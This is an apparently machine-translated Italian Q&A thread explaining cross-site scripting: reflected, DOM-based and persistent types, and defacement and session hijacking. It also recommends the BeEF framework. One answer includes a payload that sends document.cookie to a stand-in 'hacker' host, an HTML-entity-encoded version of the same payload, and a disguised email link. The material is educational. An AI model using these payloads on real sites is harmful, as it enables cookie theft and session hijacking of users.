it-swarm.dev

Come funziona XSS?

Ho poca esperienza nello sviluppo web, ma sono interessato alla sicurezza. Tuttavia, non ho capito fino in fondo come funziona XSS. Puoi spiegarlo a Med? L'articolo di Wikipedia mi dà una buona idea ma non credo di capirlo molto bene.

89
Ither

XSS - Scripting cross site (ma non limitato a scripting cross site effettivo)

XSS viene solitamente presentato in 3 modi diversi:

Non persistente (spesso chiamato XSS riflesso)

Questo è quando sei in grado di iniettare il codice e il server te lo restituisce, non autenticato. Spesso questo può essere sfruttato distribuendo un URL (di solito innocente) in una forma o in un modo su cui gli altri possono fare clic.

Questo può essere particolarmente efficace quando hai a che fare con attacchi mirati contro qualcuno. Finché puoi fare clic sull'URL che hai inviato, c'è la possibilità che tu possa ottenere privilegi elevati sul sistema.

Esempio:

Un sito contenente un campo di ricerca non ha l'input corretto per la sanificazione. Creando una query di ricerca simile a questa:

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

Seduto dall'altra parte, sul server web, riceverai hit in cui dopo un doppio spazio è il cookie degli utenti. Potresti avere la fortuna se un amministratore fa clic sul collegamento, permettendoti di rubare il loro ID sessione e dirottare la sessione.

Utilizzando tecniche come e-mail di spam, post di bacheche di messaggi, messaggi di messaggistica istantanea, Social Engineering Toolkit questa vulnerabilità può essere molto pericolosa.

DOM-based

Molto simile a non persistente, ma in cui il payload javascript non deve essere ripetuto dal server web. Questo può essere spesso il punto in cui il valore di un parametro URL viene ripetuto al volo sulla pagina al volo quando si carica utilizzando javascript già residente.

Esempio:

http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)</script>

Naturalmente i criminali modificheranno l'URL per renderlo più innocente. Lo stesso payload di cui sopra è stato codificato in modo diverso:

http://victim/displayHelp.php?title=FAQ#&#60&#115&#99&#114&#105
#112&#116&#62&#97&#108&#101&#114&#116&#40&#100&#111&#99&#117&#109
&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41&#60&#47&#115&#99
&#114&#105&#112&#116&#62

Puoi persino mascherarlo meglio quando invii a client di posta elettronica che supportano HTML in questo modo:

<a href="http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)
</script>">http://victim/displayHelp.php?title=FAQ</a>

persistente

Una volta che sei in grado di persistere un vettore XSS, l'attacco diventa molto più pericoloso molto velocemente. Un XSS persistente viene rispecchiato dal server, in genere perché l'XSS è stato archiviato in un campo di database o simile. Si consideri che il seguente input viene archiviato nel database e quindi presentato all'utente sul proprio profilo:

<input type="text" value="Your name" />

Se sei in grado di fare in modo che l'applicazione accetti e memorizzi input non inizializzati, tutto ciò che devi fare è far vedere agli altri utenti il ​​tuo profilo (o dove l'XSS viene riflesso).

Questi tipi di XSS possono essere non solo difficili da individuare, ma molto devastanti per il sistema. Dai un'occhiata al worm XSS chiamato Samy worm !

All'inizio di XSS hai visto questo tipo di exploit in tutti i libri degli ospiti, le community, le recensioni degli utenti, le chat room e così via.


Due vettori di attacco

Ora che conosci i diversi modi di fornire un payload XSS, vorrei menzionare alcuni vettori di attacco XSS che possono essere molto pericolosi:

  • Deformazione XSS

    La defacement XSS non è un'impresa difficile da realizzare. Se anche l'XSS è persistente, può essere una seccatura per i amministratori di sistema capirlo. Dai un'occhiata a RSnake Stallowned "attacco" che ha eliminato la funzione di anteprima del libro di Amazon. Lettura abbastanza divertente.

  • Furto di cookie e dirottamento di sessioni

    Come in uno degli esempi sopra, una volta che puoi accedere ai cookie degli utenti puoi anche acquisire informazioni riservate. Catturare sessionID può portare al dirottamento della sessione, che a sua volta può portare a privilegi elevati sul sistema.

Mi dispiace per il lungo post. Mi fermerò adesso. Come puoi vedere, XSS è un argomento molto importante da trattare. Spero di averlo reso un po 'più chiaro per te, però.


Sfruttando XSS con BeEF

Per capire come sfruttare XSS, ti consiglio di provare BeEF , Browser Exploitation Framework. Una volta decompresso ed eseguito su un server web con PHP, puoi facilmente provare a generare una simulazione di una vittima (chiamata zombi) in cui puoi facilmente provare diversi payload XSS. :

  • Rete locale di Portscan
  • Rete locale Pingsweep
  • Invia un'applet infetta da virus, firmata e pronta
  • Invia messaggi al client
  • Effettua una chiamata Skype

L'elenco continua. Consiglia di vedere il video sulla homepage di BeEF.

AGGIORNAMENTO: Ho fatto na scrittura su XSS sul mio blog che descrive XSS. Contiene un po 'la storia di XSS, i diversi tipi di attacco e alcuni casi d'uso tra cui BeEF e Shank.

80
Chris Dale

Per rispondere a ciò che ha detto SteveSyfuhs, ci sono molti modi possibili di usare XSS.

Esempi:

Un esempio potrebbe essere l'iniezione di codice dannoso in un campo di database. Successivamente, ogni volta che quel campo viene visualizzato all'utente non autorizzato, il suo browser eseguirà il codice. Questo si chiama Scripting persistente/memorizzato su più siti.

Un'altra potrebbe essere la possibilità di inserire il codice in GET o POST senza che questi vengano convalidati o disinfettati. Quando tali variabili modificano il contenuto della pagina, i dati modificati verranno visualizzati all'utente finale e il loro browser eseguirà quindi il codice dannoso. In genere è presente nei collegamenti dannosi via e-mail/web che inviano questi parametri GET quando qualcuno fa clic sul collegamento. Si chiama Reflected Cross Site Scripting.

Risorse:

Fortify Software ha una grande risorsa per spiegare le vulnerabilità e dare esempi: https://www.fortify.com/vulncat/en/vulncat/index.html =

  • Fare clic sulla lingua prescelta, in Convalida input e
    Rappresentazione che puoi selezionare tra i diversi tipi di Cross Site
    Vulnerabilità di scripting come definito da Fortify Software.

[~ # ~] owasp [~ # ~] ha una grande risorsa per spiegare come prevenire le vulnerabilità XSS: http://www.owasp.org/index .php/XSS_ (Cross_Site_Scripting) _Prevention_Cheat_Sheet

14
Purge

XSS consiste nel lasciare dati arbitrari in un sistema e poi mostrare quei dati non modificati a un utente. Se avessi salvato alcuni js sul mio profilo e avessi qualcuno per visualizzare quella pagina, i js verrebbero eseguiti. Ad esempio, potrei fare in modo che js invii i contenuti dei cookie degli utenti al mio servizio web, permettendomi di fare tutto ciò che volevo con i loro cookie, come rubare la loro sessione.

9
Steve

In breve, gli script tra siti inducono il browser Web a eseguire codice dannoso perché gli sviluppatori non hanno verificato l'input non attendibile.

Quindi, se prendi un esempio di attacco XSS, l'input non attendibile potrebbe essere un parametro URL contenente JavaScript. Lo sviluppatore presuppone che il parametro contenga solo dati (o non li controlli sufficientemente) e aggiunge semplicemente il contenuto del parametro alla pagina HTML. Il browser quindi esegue debitamente JavaScript e hai un attacco XSS riflesso.

Maggiori informazioni sono disponibili qui: pagina XSS OWASP

8
Ventral